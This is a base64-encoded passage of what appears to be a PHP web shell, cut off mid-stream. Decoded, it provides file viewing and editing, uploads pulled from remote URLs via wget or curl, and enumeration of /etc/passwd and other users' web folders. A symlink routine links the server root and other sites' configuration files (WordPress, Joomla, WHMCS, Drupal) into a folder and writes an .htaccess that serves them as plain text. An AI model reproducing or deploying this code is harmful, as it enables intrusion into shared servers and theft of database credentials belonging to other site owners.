bWc9Ii4kZmlsbi4iXCI+PC9kaXY+IjsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX0dFVFsndHlwZSddKSAmJiAoJF9HRVRbJ3R5cGUnXT09J2NvZGUnKSl7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1cInZpZXdmaWxlXCI+IjsKICAgICAgICAkZmlsZSA9IHdvcmR3cmFwKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSksIjI0MCIsIlxuIik7CiAgICAgICAgQGhpZ2hsaWdodF9zdHJpbmcoJGZpbGUpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPVwidmlld2ZpbGVcIj4iOwogICAgICAgIGVjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgfQogIGVsc2VpZihpc19kaXIoJF9HRVRbJ3ZpZXcnXSkpewogICAgICAgIGVjaG8gc2hvd2RpcigkcHdkLCRwcm9tcHQpOwogIH0KICAgIAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZWRpdCddKSAmJiAoJF9HRVRbJ2VkaXQnXSAhPSAiIikpe0Bpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCgogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSl7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydzYXZlYXMnXTsKICAgICAgICAgICAgJGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pOwogICAgICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTsKICAgICAgICAgICAgICAgIGlmKEBmd3JpdGUoJGZpbGV6LCRjb250ZW50KSkgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPkA8L3NwYW4+ICIuJHRpbWU7CiAgICAgICAgICAgICAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZmlsZXopOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgJG1zZyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7CiAgICAgICAgfQogICAgICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInIiKSl7CiAgICAgICAgICAgICRjb250ZW50ID0gIiI7CiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmaWxleikpewogICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsIiciLGZnZXRzKCRmaWxleikpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICAgICAgfQogICAgCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO2VkaXQ9PD89JGZpbGU7ID8+IiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImNtZGJveCI+Cjx0cj48dGQgY29sc3Bhbj0iMiI+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjb250ZW50Ij4KPD89JGNvbnRlbnQ7ID8+CjwvdGV4dGFyZWE+Cjx0cj48dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8Pz0kZmlsZTsgPz4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+CiZuYnNwOzw/PSRtc2c7ID8+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+Cjw/cGhwCn0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdsb2dvdXQnKSkKeyAgIAo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PWxvZ291dCIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwCiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsgCiAgICBlY2hvICI8YnIgLz48YnIgLz48Y2VudGVyPkJ5ZWUgISEhISEhPC9jZW50ZXI+IjsgCn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndXBsb2FkJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+VXBsb2FkZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwppZihpc3NldCgkX1BPU1RbJ3VwbG9hZGNvbXAnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7CiAgICAgICAgJHN0YXQgPSBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwkcGluZGFoKTsgICAgIAogICAgICAgIGlmICgkc3RhdCkgewogICAgICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICAgICAgfQogICAgICAgIGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkZm5hbWUiOwp9CmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKICAgICRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7CiAgICAkd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwogICAgJHBhdGggPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwogICAgJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOwogICAgJHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTsKICAgIGlmKGlzX2ZpbGUoJHBpbmRhaCkpIHsKICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkbmFtYWZpbGUiOwoKfQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIENvbXB1dGVyPC9iPjwvdGg+PC90cj48dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPC90cj48L3RhYmxlPjwvZm9ybT48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIFVSTDwvYj48L3RoPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj48Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjA7IiBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+Cjx0YWJsZT48dHI+PHRkPlVybDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPjxvcHRpb24gdmFsdWU9Ind3Z2V0Ij5XZ2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2x5bngiPkx5bng8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPkZyZWFkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5GZXRjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndsaW5rcyI+TGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Z2V0Ij5HZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Q3VybDwvb3B0aW9uPgo8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+CjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD89JG1zZzsgPz48L2Rpdj4KPD9waHAgfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqdW1waW5nJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+SnVtcGluZzwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7Cj8+CiAgICA8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+Jng9anVtcGluZyIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCiAgICBlY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgCigkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/IAokc20gPSAnb2ZmJzogZGllKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOzogJm5ic3A7Jm5ic3A7U2FmZV9tb2RlID0gT24gPC9iPjwvdGQ+PC90cj48L3RhYmxlPiIpOwogCnNldF90aW1lX2xpbWl0KDApOwplY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgIApAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgCmlmICghJHBhc3N3ZCkgeyBkaWUgKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOyA6ICZuYnNwOyZuYnNwOyBJIENhbid0IFJlYWQgWyAvZXRjL3Bhc3N3ZCBdPC9iPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PGJyPjxicj48YnI+PGNlbnRlcj48ZGl2IGNsYXNzPVwiaW5mb1wiPjxiPjwvZGl2PiAKPGJyPjxicj48ZGl2IGNsYXNzPVwiamF5YVwiPiAmY29weTsgIi5kYXRlKCdZJyx0aW1lKCkpLiIgU2VjdXJpdHkgRXhwbG9kZWQgPC9iPjwvZGl2PjwvY2VudGVyPiIpOyB9CiRwdWIgPSBhcnJheSgpOyAKJHVzZXJzID0gYXJyYXkoKTsgCiRjb25mID0gYXJyYXkoKTsgCiRpID0gMDsgCgp3aGlsZSghZmVvZigkcGFzc3dkKSl7IAokc3RyID0gZmdldHMoJHBhc3N3ZCk7IAppZiAoJGkgPiAxMDApeyAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsgCiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7IAokZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7IAppZiAoKCR1c2VybmFtZSAhPSAnJykpeyBpZiAoaXNfcmVhZGFibGUoJGRpcnopKXsgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsgCmFycmF5X3B1c2goJHB1YiwkZGlyeik7IH0gfSB9ICRpKys7IH0gCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcil7IAplY2hvICcKPHRhYmxlPjx0cj48dGQ+W0ZvdW5kICFdPC90ZD4KICAgIDx0ZD48YSBocmVmPSI/eT0vaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwiPi9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC88L2E+PHRkPjwvdHI+JzsgfSAKIGVjaG8gIjwvdGFibGU+IjsKIH0gCgoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N5bWxpbmsnKSkKeyAgIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5NdWx0aSBUb29sIFN5bWxpbms8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiIG1ldGhvZD0icG9zdCI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+PGNlbnRlcj48dGFibGUgY2xhc3M9J3RhYm5ldCc+PHRyPjx0aCBjb2xzcGFuPSc1Jz48Yj5NdWx0aSBUb29sIFN5bWxpbms8L2I+PC90aD48L3RyPjx0cj48dGg+PGI+TWFudWFsIFN5bWxpbms8L2I+PC90aD48dGg+PGI+QXV0byBTeW1saW5rPC9iPjwvdGg+PHRoPjxiPkRvbWFpbiBWaWV3ZXI8L2I+PC90aD48L3RyPjx0cj48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCduYW1lPSdzeW1saW5rcicgdmFsdWU9Ik1hbnVhbCBTeW1saW5rIiAvPjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnbmFtZT0nc3ltbGlua3MnIHZhbHVlPSJBdXRvIFN5bWxpbmsiIC8+PC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nZG9tYWluJyB2YWx1ZT0iRG9tYWluIFZpZXdlciIgLz48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj48L2Zvcm0+PGJyPjxocj48YnI+PGJyPgo8P3BocCAKCiM9PT09PT09PT09PT09PT09PT1bIE11bHRpIFRvb2wgU3ltbGluayBdPT09PT09PT09PT09PT09PT09IwoKaWYoaXNzZXQoJF9QT1NUWydkb21haW4nXSkpCnsKICAgPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1kdiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxjZW50ZXI+PGgyPlsgRG9tYWluIFZpZXdlciBieSBdPGJyPk5vdGVzOiBJZiBCbGFuayhObyBEb21haW4pIFRoYXQgTWVhbiBOb3QgV29yayBVc2UgRG9tYWluIFZpZXdlciwgWW91IENhbiBVc2UgQXV0byBTeW1saW5rIFNlcnZlcjwvY2VudGVyPjxicj48YnI+CiAgICA8P3BocAogICAgZnVuY3Rpb24gb3BlbkJhc2VEaXIoKQp7CiRvcGVuQmFzZURpciA9IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZiAoISRvcGVuQmFzZURpcikKICAgIHsKICAgICAgICAkb3BlbkJhc2VEaXIgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKICAgIH0KICAgIGVsc2UgCiAgICB7CiAgICAgICAgJG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7CiAgICB9ICAgIAogICAgcmV0dXJuICRvcGVuQmFzZURpcjsKfQoKCmVjaG8gJwogICAgPHRhYmxlIHdpZHRoPSI5NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRkMSIgPgogICAgPHRkIGhlaWdodD0iMTAwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRkMSI+JzsKICAgICRwZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsKICAgICRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICAkZGlyID0gQGdldGN3ZCgpOwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgLy8gTEVUJ1MgUExBWSB+CiAgICAjIy5odGFjY2VzcwpAbWtkaXIoJ2V4cGxvZGVkc3ltJywwNzc3KTsKQHN5bWxpbmsoIi8iLCJleHBsb2RlZHN5bS9yb290Iik7CiRodGFjY3NzID0gIk9wdGlvbnMgYWxsIAogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnkiOwogCmZpbGVfcHV0X2NvbnRlbnRzKCJleHBsb2RlZHN5bS8uaHRhY2Nlc3MiLCRodGFjY3NzKTsKJGV0YyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOwokZXRjeiA9IGV4cGxvZGUoIlxuIiwkZXRjKTsKCgojI1N5bWxpbmsgdG8gdGhlIFJPT1QgOnAKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7CiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOwoKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93cC1jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9ibG9nL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dwL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvd3AtY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1QaHBCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9pbmNsdWRlcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLXZCdWxsZXRpbi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2ViL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLUpvb21sYS50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZfZ2xvYmFsLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1JUEIudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jL2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictTXlCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9TZXR0aW5ncy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictU01GLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLURydXBhbC50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9lMTA3X2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictZTEwNy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kYXRhcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVNlZGl0aW8udHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1vc0NvbW1lcmNlLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kb21haW4vY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jL2NvbmZpZ3Vy